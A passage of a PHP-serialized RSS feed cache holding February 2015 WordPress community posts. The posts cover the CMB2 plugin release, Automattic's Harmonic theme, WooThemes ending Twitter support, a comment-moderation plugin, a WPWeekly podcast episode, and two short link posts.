Beta\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38417\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:82:\"http://wptavern.com/custom-metaboxes-and-fields-for-wordpress-cmb2-now-out-of-beta\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4291:\"<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/cmb2.jpg\" rel=\"prettyphoto[38417]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/cmb2.jpg?resize=768%2C372\" alt=\"photo credit: Different types of wand cases stacked - (license)\" class=\"size-full wp-image-38683\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/22464562@N00/8084402724\">Different types of wand cases stacked</a> &#8211; <a href=\"https://creativecommons.org/licenses/by/2.0/\">(license)</a>\n<p>The <a href=\"https://github.com/WebDevStudios/CMB2\" target=\"_blank\">Custom Metaboxes and Fields for WordPress (CMB2)</a> plugin is now officially out of beta and ready for public use. The tool was created to make it easy for developers to create metaboxes and forms with custom fields. Developers at <a href=\"http://webdevstudios.com/\" target=\"_blank\">WebDevStudios</a> took over the <a href=\"https://github.com/WebDevStudios/Custom-Metaboxes-and-Fields-for-WordPress\" target=\"_blank\">original CMB GitHub repository</a> from Jared Atchison, its original creator, in December of 2013.</p>\n<p>Justin Sternberg <a href=\"http://webdevstudios.com/2015/02/02/cmb2-wordpress-plugin/\" target=\"_blank\">explained</a> why WebDevStudios chose to start contributing to the CMB2 project:</p>\n<blockquote><p>After having been burned by some issues with other custom field plugins, we determined it was best to stick with code that we had some control over. We fell in love with CMB because it was a library we could include in any of our projects and it would just work while letting us keep all of the field configuration in the code, and more importantly, in our version control system.</p></blockquote>\n<p>Due to irreconcilable shortcomings in the original CMB, WebDevStudios opted to fork the project and create a new one that wouldn&#8217;t have the same backwards compatibility requirements. If you used CMB in the past, it&#8217;s important to note that the new CMB2 project has renamed every class, function, hook, and filter in the library to avoid conflicts with the original. It&#8217;s essentially a complete re-write.</p>\n<p>&#8220;CMB2 was built with a new mechanism to ensure it only loads the most recent version of CMB2 in your system,&#8221; Sternberg said. &#8220;This ensures that a plugin with an old bundled version will not conflict or take precedence over your up-to-date version.&#8221;</p>\n<p>The new <a href=\"https://wordpress.org/plugins/cmb2/\" target=\"_blank\">CMB2 is now available on WordPress.org</a> as a plugin for easy activation when you want to use it with one of your projects. As an alternative, you can <a href=\"https://github.com/WebDevStudios/CMB2/blob/master/example-functions.php#L14\" target=\"_blank\">include CMB2 directly</a>. The newly released plugin features the following:</p>\n<ul>\n<li>Create metaboxes to be used on post edit screens.</li>\n<li><a href=\"https://github.com/WebDevStudios/CMB2/wiki/Using-CMB-to-create-an-Admin-Theme-Options-Page\" target=\"_blank\">Create forms to be used on an options pages.</a></li>\n<li>Create forms to handle user meta and display them on user profile add/edit pages.</li>\n<li><a href=\"https://github.com/WebDevStudios/CMB2/wiki/Bringing-Metaboxes-to-the-Front-end\" target=\"_blank\">Flexible API that allows you to use CMB forms almost anywhere, even on the front-end</a></li>\n<li><a href=\"https://github.com/WebDevStudios/CMB2/wiki/Field-Types#types\" target=\"_blank\">30+ built-in field types</a></li>\n<li><a href=\"https://github.com/WebDevStudios/CMB2/wiki/Adding-your-own-field-types\" target=\"_blank\">Custom API hook that allows you to create your own field types</a></li>\n<li>Numerous hooks and filters, allowing you to modify many aspects of the library (without editing it directly)</li>\n<li>Repeatable fields for most field types are supported, as well as repeatable field groups</li>\n</ul>\n<p>The WebDevStudios team plans to maintain strict backwards compatibility moving forward, as of CMB2&#8217;s 2.0.1 release on WordPress.org. If you want to include CMB2 as part of your next project, make sure to check out the plugin&#8217;s <a href=\"https://github.com/WebDevStudios/CMB2/wiki\" target=\"_blank\">wiki and code library</a> for tips on how to add metaboxes, fields, and forms to WordPress themes and plugins.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 06 Feb 2015 21:05:54 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:23;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:72:\"WPTavern: Harmonic: A Bold Free WordPress Theme for Artists and Bloggers\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38617\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:81:\"http://wptavern.com/harmonic-a-bold-free-wordpress-theme-for-artists-and-bloggers\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3114:\"<p>If you like designs that feature stunning, fullscreen background images, then Automattic&#8217;s latest free theme release is a prime candidate for your next blog redesign. <a href=\"https://wordpress.org/themes/harmonic\" target=\"_blank\">Harmonic</a> recently landed on WordPress.org and is rapidly closing in on 3,000 downloads.</p>\n<p>This theme puts the spotlight on your images and content. Harmonic&#8217;s striking homepage is accompanied by a minimalist, one-column blog design and an optional portfolio page template.</p>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/harmonic.png\" rel=\"prettyphoto[38617]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/harmonic.png?resize=880%2C660\" alt=\"harmonic\" class=\"aligncenter size-full wp-image-38619\" /></a></p>\n<p>Each section of the scrolling front page has options in the customizer that let you assign a unique display. The customizer allows you to easily set a background for the news, page, widgets, and portfolio sections. You can even include a background shade so that the title and tagline are more readable. The Visibility options allow you to hide any of the sections you&#8217;re not currently using.</p>\n<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/harmonic-customizer.png\" rel=\"prettyphoto[38617]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/harmonic-customizer.png?resize=1025%2C542\" alt=\"harmonic-customizer\" class=\"aligncenter size-full wp-image-38629\" /></a></p>\n<p>Single posts and pages with a featured image will display in a fullscreen design similar to the homepage. The blog archive is available with your choice of a one or two-column layout.</p>\n<p>With the addition of Jetpack, Harmonic also supports site logo upload and a portfolio. The customizer includes options for three different thumbnail aspect ratios, including: landscape (4:3), portrait (3:4), and square (1:1).</p>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/media.jpg\" rel=\"prettyphoto[38617]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/media.jpg?resize=1025%2C748\" alt=\"media\" class=\"aligncenter size-full wp-image-38635\" /></a></p>\n<p>Harmonic includes a custom menu for social links and has support for 16 different social networks. Check out the <a href=\"https://harmonicdemo.wordpress.com/\" target=\"_blank\">live demo</a> on WordPress.com to see the theme in action.</p>\n<p>With the release of <a href=\"https://wordpress.org/themes/harmonic\" target=\"_blank\">Harmonic</a> for self-hosted sites, Automattic now has 60 free themes available in the directory. This theme caters to visual artists and bloggers who have large images to showcase in the background, portfolio, or gallery sections of the site.</p>\n<p>Harmonic is unique in that it transforms featured images and titles into a splash page style intro to single posts. If you want to use images to make a strong impact on your reader, this theme fits the bill. It&#8217;s available on both WordPress.com and self-hosted WordPress sites via the admin themes browser.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 06 Feb 2015 08:19:58 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:24;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:22:\"Matt: Real NFL Scandal\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44652\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:38:\"http://ma.tt/2015/02/real-nfl-scandal/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:1108:\"<blockquote><p>Seattle&#8217;s decision to throw the ball at the goal line with 20 seconds to go in last night&#8217;s Super Bowl was a costly one. But in the long run, it won&#8217;t be nearly as costly to the rest of the United States as the National Football League (NFL) itself.</p>\n<p>Every year, the NFL rakes in around $9.5 billion in revenue. Its commissioner, Roger Goodell, meanwhile, has an annual salary of $44 million. And while those numbers might make sense for any big business, the NFL isn&#8217;t a business &#8211; not technically, at least.</p>\n<p>According to the Public Law 89-800, it&#8217;s a 501(c)6 tax-exempt nonprofit. That&#8217;s right, a nonprofit. In other words, the NFL, one of the most lucrative organizations in all of sports, is subsidized by you and me the taxpayers.</p></blockquote>\n<p>From <a href=\"http://www.truth-out.org/opinion/item/28885-the-real-nfl-scandal\">The Real NFL Scandal</a>. If you&#8217;re curious, here&#8217;s a <a href=\"http://en.wikipedia.org/wiki/Category:501(c)(6)_nonprofit_organizations\">list of other notable 501(c)(6) organizations</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 06 Feb 2015 00:47:45 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:25;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:67:\"WPTavern: Why WooThemes is Smart to Discontinue Its Twitter Support\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38563\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:77:\"http://wptavern.com/why-woothemes-is-smart-to-discontinue-its-twitter-support\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3992:\"<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/woo-support-twitter-account.jpg\" rel=\"prettyphoto[38563]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/woo-support-twitter-account.jpg?resize=1025%2C495\" alt=\"woo-support-twitter-account\" class=\"aligncenter size-full wp-image-38610\" /></a></p>\n<p>WooThemes <a href=\"http://www.woothemes.com/2015/02/retiring-woosupport-twitter/\" target=\"_blank\">announced</a> this week that it will be retiring @WooSupport, its Twitter support account, in favor of other support channels. Social media manager Marina Pape reports that support at the company is otherwise healthy. &#8220;On the contrary, our support is cooking with Customer Happiness this week averaging 90%, all support teams coming in under 24 hours for first-reply time,&#8221; she said.</p>\n<p>WooThemes, like many other WordPress product and service providers, had expanded channels to try to offer support on as many different social channels as possible. Last October, the company <a href=\"http://www.woothemes.com/2014/10/glimpse-world-woosupport/\" target=\"_blank\">announced</a> changes in its support structure:</p>\n<blockquote><p>We&#8217;re opening more and more avenues of communication like the Community, the @WooSupport Twitter handle, and a streamlined Knowledge Base, as well as actively monitoring our social media and ideas boards. You name it, we’re working on it.</p></blockquote>\n<p>Over the past several months, WooThemes has discovered that offering Twitter support is more trouble than it&#8217;s worth. &#8220;Questions get technical and DMs and 140 characters are not ideal facilitators of such things,&#8221; Pape said in the announcement.</p>\n<p>&#8220;Yes, we want to encourage conversation. Yes, we want to have an ear to the ground and be able to help people when the rubber hits the road for them and escalate tickets if people have been waiting for unusually long periods,&#8221; she said. <strong>&#8220;But the truth of the matter is Twitter is not the place to handle support queries and when we try we shoot ourselves in the collective foot.&#8221;</strong></p>\n<p>WooThemes is making a smart move to pull back from a medium that wasn&#8217;t built to handle complex support queries. Instead of spreading staff thin over every social avenue, the company is concentrating on channeling users through an established ticketing system that is already working.</p>\n<p>While anyone can use Twitter for whatever purpose, within its 140 character limit, the brevity that the medium was designed for is not a good fit for managing support. If users find frustration in communicating within Twitter&#8217;s limited capacity, support on this channel is a waste of company time and resources.</p>\n<p>&#8220;But after letting @WooSupport run for a while, we realized what it was actually doing was creating an expectation that we never intended to meet which was that we were able to actually give support over Twitter,&#8221; Pape explained. <strong>&#8220;140 characters are not enough to talk about the weather let alone why your custom-built-million-moving-parts website is breaking.&#8221;</strong></p>\n<p>WooThemes is opting to limit support to its ZenDesk ticketing system, instead of having social media managers playing middleman via tweets. &#8220;DMs on Twitter to get details and sort out problems is akin to birthing pineapples,&#8221; Pape said. Encouraging the ticketing system as the primary avenue of support is a move toward greater efficiency.</p>\n<p>WordPress hosting companies and product/service providers would do well to examine how they are using their various social channels and whether or not some could be trimmed back in favor of more suitable mediums for communication. Cutting out Twitter support may not be the answer for every product or customer demographic, but being &#8220;always on&#8221; and &#8220;always available&#8221; via every channel is not a realistic approach to support.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 05 Feb 2015 20:56:01 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:26;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:95:\"WPTavern: Thoughtful Comments Plugin Adds Comment Moderation Links to the Frontend of WordPress\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38542\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:105:\"http://wptavern.com/thoughtful-comments-plugin-adds-comment-moderation-links-to-the-frontend-of-wordpress\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3054:\"<a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/ThoughfulCommentsFeaturedImage.png\" rel=\"prettyphoto[38542]\"><img class=\"size-full wp-image-38557\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/ThoughfulCommentsFeaturedImage.png?resize=669%2C348\" alt=\"Thoughful Comments Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/98640399@N08/9410826173\">GirlOnRail_BKGs_BartaIV 1024&#215;768</a> &#8211; <a href=\"https://creativecommons.org/licenses/by/2.0/\">(license)</a>\n<p>The backend of WordPress has a set of tools to help administrators moderate comments, but what if you could bring some of those tools to the frontend? Developed by <a title=\"http://foliovision.com\" href=\"http://foliovision.com\">Foliovision</a>, <a title=\"https://wordpress.org/plugins/thoughtful-comments/\" href=\"https://wordpress.org/plugins/thoughtful-comments/\">Thoughtful Comments</a> is compatible with Jetpack Comments and adds the following links to comments on the frontend of WordPress:</p>\n<ul>\n<li>Approve</li>\n<li>Delete</li>\n<li>Delete Thread</li>\n<li>Delete and Ban IP</li>\n<li>Delete Thread and Ban IP</li>\n</ul>\n<p>Usernames highlighted in red indicate a comment that&#8217;s in the moderation queue. You can either approve, delete, or delete and ban the IP address of moderated comments. It&#8217;s important to note that deleted comments are sent to the trash instead of being removed completely from WordPress. For this reason, I think the Delete link should be renamed to Trash so its function makes more sense.</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/CommentInModeration.png\" rel=\"prettyphoto[38542]\"><img class=\"size-full wp-image-38554\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/CommentInModeration.png?resize=708%2C293\" alt=\"Comment in Moderation Status\" /></a>Comment in Moderation Status\n<p>You can also delete entire threads.</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/ThoughtfulCommentsLinks.png\" rel=\"prettyphoto[38542]\"><img class=\"size-full wp-image-38555\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/ThoughtfulCommentsLinks.png?resize=640%2C267\" alt=\"Various Administration Links\" /></a>Various Administration Links\n<p>Editing posts, administering comments, and managing a site from the frontend is a huge time saver. With <a title=\"https://wordpress.org/plugins/wp-front-end-editor/\" href=\"https://wordpress.org/plugins/wp-front-end-editor/\">certain aspects of WordPress</a> making their way to the frontend, I wouldn&#8217;t be surprised if one day, the features within Thoughtful Comments end up in core. In the future, I think users will expect to be able to accomplish specific tasks like these without having to browse through clunky administration screens.</p>\n<p>Thoughtful Comments is compatible with WordPress 4.1 and available from the <a title=\"https://wordpress.org/plugins/thoughtful-comments/\" href=\"https://wordpress.org/plugins/thoughtful-comments/\">WordPress plugin directory</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 05 Feb 2015 18:33:53 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:27;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:78:\"WPTavern: WPWeekly Episode 178 – A Conversation With Frenemy Brian Krogsgard\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:44:\"http://wptavern.com?p=38572&preview_id=38572\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:84:\"http://wptavern.com/wpweekly-episode-178-a-conversation-with-frenemy-brian-krogsgard\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3687:\"<p>In this episode of WordPress Weekly, <a title=\"http://marcuscouch.com/\" href=\"http://marcuscouch.com/\">Marcus Couch</a> and I are joined by the founder of <a title=\"https://poststatus.com/\" href=\"https://poststatus.com/\">PostStatus</a>, Brian Krogsgard. He explains how his experience writing for WPCandy provided the foundation to launch PostStatus. We find out how well the <a title=\"https://poststatus.com/club/\" href=\"https://poststatus.com/club/\">PostStatus club</a> is doing since launching two weeks ago. Last but not least, we discuss whether or not Krogsgard has the right ingredients to be financially successful in the WordPress content business.</p>\n<h2>Stories Discussed:</h2>\n<p><a title=\"http://wptavern.com/envato-stats-tips-for-getting-things-done-and-more-at-pressnomics-3\" href=\"http://wptavern.com/envato-stats-tips-for-getting-things-done-and-more-at-pressnomics-3\">Recap of PressNomics 3</a><br />\n<a title=\"http://wptavern.com/human-made-acquires-australian-based-wordpress-agency-sennza\" href=\"http://wptavern.com/human-made-acquires-australian-based-wordpress-agency-sennza\">Human Made Acquires Australian Based WordPress Agency Sennza</a><br />\n<a title=\"http://wptavern.com/zero-day-vulnerability-discovered-in-fancybox-for-wordpress-plugin\" href=\"http://wptavern.com/zero-day-vulnerability-discovered-in-fancybox-for-wordpress-plugin\">Zero Day Vulnerability Discovered in Fancybox for WordPress Plugin</a><br />\n<a title=\"http://wptavern.com/buddypress-2-2-spumoni-released-featuring-new-member-type-api\" href=\"http://wptavern.com/buddypress-2-2-spumoni-released-featuring-new-member-type-api\">BuddyPress 2.2 Spumoni Released, Featuring New Member Type API</a></p>\n<h2>Plugins Picked By Marcus:</h2>\n<p><a title=\"https://wordpress.org/plugins/user-roles-and-capabilities/\" href=\"https://wordpress.org/plugins/user-roles-and-capabilities/\">User Roles and Capabilities</a> allows you to manage user roles and capabilities. Using this plugin, you can create new roles and delete existing roles.</p>\n<p><a title=\"https://wordpress.org/plugins/wp-style-kit/\" href=\"https://wordpress.org/plugins/wp-style-kit/\">WP Style Kit</a> is a plugin that adds additional features to the Custom Styles section of the Visual Editor. You can add beautiful custom styles such as, additional headlines, custom bullets, circles, quotes, and call out boxes.</p>\n<p><a title=\"https://wordpress.org/plugins/pet-adoption-listings/\" href=\"https://wordpress.org/plugins/pet-adoption-listings/\">Pet Adoption Listings</a> provides two easy ways to display listings of adoptable pets from a shelter&#8217;s profile at Adopt-a-Pet.com via an iframe.</p>\n<p><a title=\"https://wordpress.org/plugins/login-joomla-users/\" href=\"https://wordpress.org/plugins/login-joomla-users/\">Login Joomla Users</a> allows migrated users from Joomla to login to WordPress. Tested on WordPress 4.1 with users migrated from Joomla 2.5.9. After the first successful login, the password field will automatically be hashed by WordPress.</p>\n<h2>WPWeekly Meta:</h2>\n<p><strong>Next Episode:</strong> Wednesday, February 11th 9:30 P.M. Eastern</p>\n<p><strong>Subscribe To WPWeekly Via Itunes: </strong><a href=\"https://itunes.apple.com/us/podcast/wordpress-weekly/id694849738\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Subscribe To WPWeekly Via RSS: </strong><a href=\"http://www.wptavern.com/feed/podcast\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Subscribe To WPWeekly Via Stitcher Radio: </strong><a href=\"http://www.stitcher.com/podcast/wordpress-weekly-podcast?refid=stpr\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Listen To Episode #178:</strong><br />\n</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 05 Feb 2015 17:33:40 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:28;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:26:\"Matt: Great Doctorow Essay\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44631\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:42:\"http://ma.tt/2015/02/great-doctorow-essay/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:157:\"<p>Cory Doctorow on <a href=\"http://www.wired.com/2014/12/government-computer-security\">How Laws Restricting Tech Actually Expose Us to Greater Harm</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 05 Feb 2015 05:50:00 